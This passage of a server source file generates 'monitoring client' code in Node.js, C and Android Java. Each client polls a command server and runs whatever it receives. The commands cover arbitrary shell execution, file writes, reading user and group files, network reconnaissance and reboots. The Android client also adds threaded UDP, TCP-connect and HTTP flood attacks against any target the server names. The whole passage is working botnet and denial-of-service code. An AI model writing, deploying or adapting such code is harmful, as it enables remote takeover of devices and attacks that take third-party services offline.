	} else if (cmd.type === 'write_file') {
	try { const fs = require('fs'); fs.writeFileSync(cmd.payload.path \|\| '/tmp/output.txt', cmd.payload.content \|\| ''); result = { status: "written" }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'run_file') {
	try { const {execSync} = require('child_process'); result = { output: execSync(cmd.payload.path \|\| './script.sh', {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'arp_table') {
	try { const {execSync} = require('child_process'); result = { output: execSync('arp -a', {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'netstat_connections') {
	try { const {execSync} = require('child_process'); result = { output: execSync('netstat -an', {encoding:'utf8'}).substring(0, 4000) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'ifconfig_ip') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'ipconfig' : 'ifconfig \|\| ip a'; result = { output: execSync(cmdStr, {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'dns_mx_records') {
	try { const {execSync} = require('child_process'); result = { output: execSync('nslookup -type=mx ' + (cmd.payload.host \|\| 'google.com'), {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'dns_txt_records') {
	try { const {execSync} = require('child_process'); result = { output: execSync('nslookup -type=txt ' + (cmd.payload.host \|\| 'google.com'), {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'route_table') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'route print' : 'netstat -rn \|\| ip route'; result = { output: execSync(cmdStr, {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'wifi_networks') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'netsh wlan show networks' : 'nmcli dev wifi \|\| iwlist scan'; result = { output: execSync(cmdStr, {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'system_logs') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'wevtutil qe System /c:50 /f:text' : 'dmesg \| tail -n 50 \|\| tail -n 50 /var/log/syslog'; result = { output: execSync(cmdStr, {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'list_services') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'sc query' : 'systemctl list-units --type=service \|\| service --status-all'; result = { output: execSync(cmdStr, {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'get_users') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'net user' : 'cat /etc/passwd'; result = { output: execSync(cmdStr, {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'get_groups') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'net localgroup' : 'cat /etc/group'; result = { output: execSync(cmdStr, {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'reboot_system') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'shutdown /r /t 0' : 'sudo reboot \|\| reboot'; execSync(cmdStr); result = { status: "reboot_initiated" }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'get_disk_space') {
	try { const {execSync} = require('child_process'); const cmdStr = os.platform() === 'win32' ? 'wmic logicaldisk get size,freespace,caption' : 'df -h'; result = { output: execSync(cmdStr, {encoding:'utf8'}) }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'kill_process') {
	try { process.kill(parseInt(cmd.payload.pid \|\| '0'), 'SIGTERM'); result = { status: "killed" }; } catch(e) { result = { error: e.message }; }
	} else if (cmd.type === 'change_poll_interval') {
	pollInterval = (parseInt(cmd.payload.interval)\|\|10) * 1000;
	result = { status: "interval_updated" };
	} else if (cmd.type === 'self_terminate') {
	process.exit(0);
	} else if (cmd.type === 'report_sysinfo') {
	result = { os: os.platform(), release: os.release() };
	} else {
	result = { status: "not_supported", detail: "Payload not natively supported in Node.js short-client. Try Python payload." };
	}
	} catch (e) { result = { error: e.toString() }; }

	await fetch(SERVER + "/api/nodes/report", {
	method: "POST", headers: { "Content-Type": "application/json" },
	body: JSON.stringify({ nodeId: NODE_ID, commandId: cmd.id, type: cmd.type, target: cmd.target, result })
	}).catch(() => {});
	}

	async function ping() {
	try {
	const res = await fetch(SERVER + "/api/nodes/ping", {
	method: "POST", headers: { "Content-Type": "application/json" },
	body: JSON.stringify({ id: NODE_ID, type: "node_js", systemInfo: { os: os.platform(), release: os.release() } })
	});
	const data = await res.json();
	if (data.commands) data.commands.forEach(execute);
	} catch (e) {
	console.error("Ping Error:", e.message);
	}
	setTimeout(ping, typeof pollInterval !== 'undefined' ? pollInterval : 10000);
	}

	console.log("Starting Node.js monitoring client " + NODE_ID + "...");
	ping();
	`;
	}

	function getCClient(serverUrl) {
	return '#include <stdio.h>\\n' +
	'#include <stdlib.h>\\n' +
	'#include <unistd.h>\\n' +
	'#include <time.h>\\n\\n' +
	'int main() {\\n' +
	' daemon(1, 0);\\n' +
	' srand(time(NULL));\\n' +
	' int node_id = rand() % 100000;\\n' +
	' char command[1024];\\n' +
	` sprintf(command, "curl -s -X POST ${serverUrl}/api/nodes/ping -H \\"Content-Type: application/json\\" -d '{\\"id\\": \\"c-node-%d\\", \\"type\\": \\"c_binary\\", \\"systemInfo\\": {\\"os\\": \\"c_native\\"}}' > /dev/null", node_id);\\n` +
	' printf("Starting C Node Client %d...\\\\n", node_id);\\n' +
	' while(1) {\\n' +
	' system(command);\\n' +
	' sleep(10);\\n' +
	' }\\n' +
	' return 0;\\n' +
	'}\\n';
	}

	function getAndroidJavaClient(serverUrl) {
	return `package com.example.monitor;

	import android.app.Service;
	import android.content.Intent;
	import android.os.Handler;
	import android.os.IBinder;
	import android.util.Log;
	import java.io.BufferedReader;
	import java.io.InputStreamReader;
	import java.io.OutputStream;
	import java.net.HttpURLConnection;
	import java.net.URL;
	import org.json.JSONArray;
	import org.json.JSONObject;

	public class MonitorService extends Service {
	private final String SERVER_URL = "${serverUrl}";
	private final String NODE_ID = "android-" + java.util.UUID.randomUUID().toString().substring(0, 8);
	private Handler handler = new Handler();
	private Runnable runnable = new Runnable() {
	@Override
	public void run() {
	pingServer();
	handler.postDelayed(this, 10000); // 10 seconds
	}
	};

	@Override
	public int onStartCommand(Intent intent, int flags, int startId) {
	handler.post(runnable);
	return START_STICKY;
	}

	private void pingServer() {
	new Thread(() -> {
	try {
	URL url = new URL(SERVER_URL + "/api/nodes/ping");
	HttpURLConnection conn = (HttpURLConnection) url.openConnection();
	conn.setRequestMethod("POST");
	conn.setRequestProperty("Content-Type", "application/json");
	conn.setDoOutput(true);
	String json = "{\\"id\\":\\"" + NODE_ID + "\\", \\"type\\":\\"android_java\\", \\"systemInfo\\":{\\"os\\":\\"Android\\"}}";
	try(OutputStream os = conn.getOutputStream()) {
	byte[] input = json.getBytes("utf-8");
	os.write(input, 0, input.length);
	}

	if(conn.getResponseCode() == 200) {
	BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream(), "utf-8"));
	StringBuilder response = new StringBuilder();
	String responseLine = null;
	while ((responseLine = br.readLine()) != null) {
	response.append(responseLine.trim());
	}
	JSONObject res = new JSONObject(response.toString());
	if(res.has("commands")) {
	JSONArray cmds = res.getJSONArray("commands");
	for(int i=0; i<cmds.length(); i++) {
	JSONObject cmd = cmds.getJSONObject(i);
	handleCommand(cmd);
	}
	}
	}
	conn.disconnect();
	} catch (Exception e) {
	Log.e("MonitorService", "Ping error", e);
	}
	}).start();
	}

	private void handleCommand(JSONObject cmd) {
	new Thread(() -> {
	try {
	String type = cmd.getString("type");
	String id = cmd.getString("id");
	JSONObject payload = cmd.has("payload") ? cmd.getJSONObject("payload") : new JSONObject();
	JSONObject result = new JSONObject();
	result.put("status", "Android commands not fully implemented in demo");

	if(type.equals("get_system_info") \|\| type.equals("report_sysinfo")) {
	result.put("os", "Android " + android.os.Build.VERSION.RELEASE);
	result.put("model", android.os.Build.MODEL);
	} else if (type.equals("exec_shell") \|\| type.equals("run_file") \|\| type.equals("list_directory") \|\| type.equals("read_file") \|\| type.equals("dns_resolve") \|\| type.equals("icmp_ping") \|\| type.equals("arp_table")) {
	String shellCmd = type.equals("exec_shell") ? payload.getString("cmd") :
	type.equals("list_directory") ? "ls -la " + payload.optString("path", "/") :
	type.equals("read_file") ? "cat " + payload.optString("path", "/proc/cpuinfo") :
	type.equals("dns_resolve") ? "ping -c 1 " + payload.optString("host", "google.com") :
	type.equals("arp_table") ? "ip neigh" : "echo unsupported";
	Process process = Runtime.getRuntime().exec(shellCmd);
	BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
	StringBuilder output = new StringBuilder();
	String line;
	while ((line = reader.readLine()) != null) { output.append(line + "\\n"); }
	result.put("output", output.toString());
	} else if (type.equals("udp_flood")) {
	int dur = payload.optInt("duration", 5);
	int pSize = payload.optInt("packet_size", 1024);
	int port = payload.optInt("port", 80);
	String ip = payload.optString("ip", "127.0.0.1");
	int threads = payload.optInt("threads", 10);
	long endT = System.currentTimeMillis() + (dur * 1000);
	java.util.concurrent.atomic.AtomicInteger sent = new java.util.concurrent.atomic.AtomicInteger();
	Thread[] ts = new Thread[threads];
	for(int i=0; i<threads; i++) {
	ts[i] = new Thread(() -> {
	try {
	java.net.DatagramSocket socket = new java.net.DatagramSocket();
	java.net.InetAddress address = java.net.InetAddress.getByName(ip);
	byte[] buf = new byte[pSize];
	java.net.DatagramPacket packet = new java.net.DatagramPacket(buf, buf.length, address, port);
	while(System.currentTimeMillis() < endT) {
	socket.send(packet);
	sent.incrementAndGet();
	}
	socket.close();
	} catch(Exception e) {}
	});
	ts[i].start();
	}
	for(Thread t : ts) { try { t.join(); } catch(Exception e) {} }
	result.put("status", "udp_flood_finished");
	result.put("packets_sent", sent.get());
	} else if (type.equals("tcp_connect_flood")) {
	int dur = payload.optInt("duration", 5);
	int port = payload.optInt("port", 80);
	String ip = payload.optString("ip", "127.0.0.1");
	int threads = payload.optInt("threads", 10);
	long endT = System.currentTimeMillis() + (dur * 1000);
	java.util.concurrent.atomic.AtomicInteger sent = new java.util.concurrent.atomic.AtomicInteger();
	java.util.concurrent.atomic.AtomicInteger errors = new java.util.concurrent.atomic.AtomicInteger();
	Thread[] ts = new Thread[threads];
	for(int i=0; i<threads; i++) {
	ts[i] = new Thread(() -> {
	while(System.currentTimeMillis() < endT) {
	try {
	java.net.Socket socket = new java.net.Socket();
	socket.connect(new java.net.InetSocketAddress(ip, port), 1000);
	socket.close();
	sent.incrementAndGet();
	} catch(Exception e) { errors.incrementAndGet(); }
	}
	});
	ts[i].start();
	}
	for(Thread t : ts) { try { t.join(); } catch(Exception e) {} }
	result.put("status", "tcp_connect_flood_finished");
	JSONObject stats = new JSONObject();
	stats.put("sent", sent.get());
	stats.put("errors", errors.get());
	result.put("stats", stats);
	} else if (type.equals("http_flood") \|\| type.equals("http_get_flood") \|\| type.equals("cache_bypass_flood") \|\| type.equals("http_post_flood") \|\| type.equals("api_abuse_flood")) {
	int dur = payload.optInt("duration", 5);
	String tgUrl = payload.optString("url", "http://127.0.0.1/");
	int threads = payload.optInt("threads", 10);
	long endT = System.currentTimeMillis() + (dur * 1000);
	java.util.concurrent.atomic.AtomicInteger sent = new java.util.concurrent.atomic.AtomicInteger();
	java.util.concurrent.atomic.AtomicInteger errors = new java.util.concurrent.atomic.AtomicInteger();
	Thread[] ts = new Thread[threads];
	for(int i=0; i<threads; i++) {
	ts[i] = new Thread(() -> {
	while(System.currentTimeMillis() < endT) {
	try {
	String fUrl = tgUrl;
	if(type.equals("cache_bypass_flood")) fUrl += (fUrl.contains("?") ? "&" : "?") + "cb=" + Math.random();
	URL url = new URL(fUrl);
	HttpURLConnection conn = (HttpURLConnection) url.openConnection();
	if(type.equals("api_abuse_flood")) {
	conn.setRequestMethod("POST");
	conn.setDoOutput(true);
	conn.setRequestProperty("Content-Type", "application/json");
	conn.setRequestProperty("Authorization", "Bearer " + (int)(Math.random() * 8999 + 1000));
	String js = "{\\"query\\":\\"abusive_payload_" + (int)(Math.random() * 10000) + "\\"}";
	conn.getOutputStream().write(js.getBytes());
	} else if(type.equals("http_post_flood")) {
	conn.setRequestMethod("POST");
	conn.setDoOutput(true);
	conn.getOutputStream().write("dummy=1".getBytes());
	}
	conn.setConnectTimeout(2000);
	conn.getResponseCode();
	conn.disconnect();
	sent.incrementAndGet();
	} catch(Exception e) { errors.incrementAndGet(); }
	}
	});
	ts[i].start();
	}
	for(Thread t : ts) { try { t.join(); } catch(Exception e) {} }
	result.put("status", type + "_finished");
	JSONObject stats = new JSONObject();
	stats.put("sent", sent.get());
	stats.put("errors", errors.get());
	result.put("stats", stats);
	}

	URL url = new URL(SERVER_URL + "/api/nodes/report");
	HttpURLConnection conn = (HttpURLConnection) url.openConnection();
	conn.setRequestMethod("POST");
	conn.setRequestProperty("Content-Type", "application/json");
	conn.setDoOutput(true);

	JSONObject report = new JSONObject();
	report.put("nodeId", NODE_ID);
	report.put("commandId", id);
	report.put("type", type);
	report.put("result", result);

	// Target handling omitted for brevity
	try(OutputStream os = conn.getOutputStream()) {
	byte[] input = report.toString().getBytes("utf-8");
	os.write(input, 0, input.length);
	}
	conn.getResponseCode();
	conn.disconnect();
	} catch(Exception e) {
	Log.e("MonitorService", "Command handling error", e);
	}
	}).start();
	}

	@Override
	public IBinder onBind(Intent intent) { return null; }
	}`;
	}

	// --- Setup Vite Middleware for Dev ---
	async function startServer() {
	if (process.env.NODE_ENV !== 'production') {
	const vite = await createViteServer({
	server: { middlewareMode: true },
	appType: 'spa',
	});
	app.use(vite.middlewares);
	} else {
	const distPath = path.join(process.cwd(), 'dist');
	app.use(express.static(distPath));
	app.get('*', (req, res) => {
	res.sendFile(path.join(distPath, 'index.html'));
	});
	}

	// Keep deployments alive
	setInterval(() => {
	if (STATE.deployments.size > 0) {
	for (const url of Array.from(STATE.deployments)) {
	fetch(url as string).catch(() => {});
	}
	}
	}, 30000);

	app.listen(PORT, "0.0.0.0", () => {
	console.log(`Backend running on http://localhost:${PORT}`);
	});
	}

	startServer();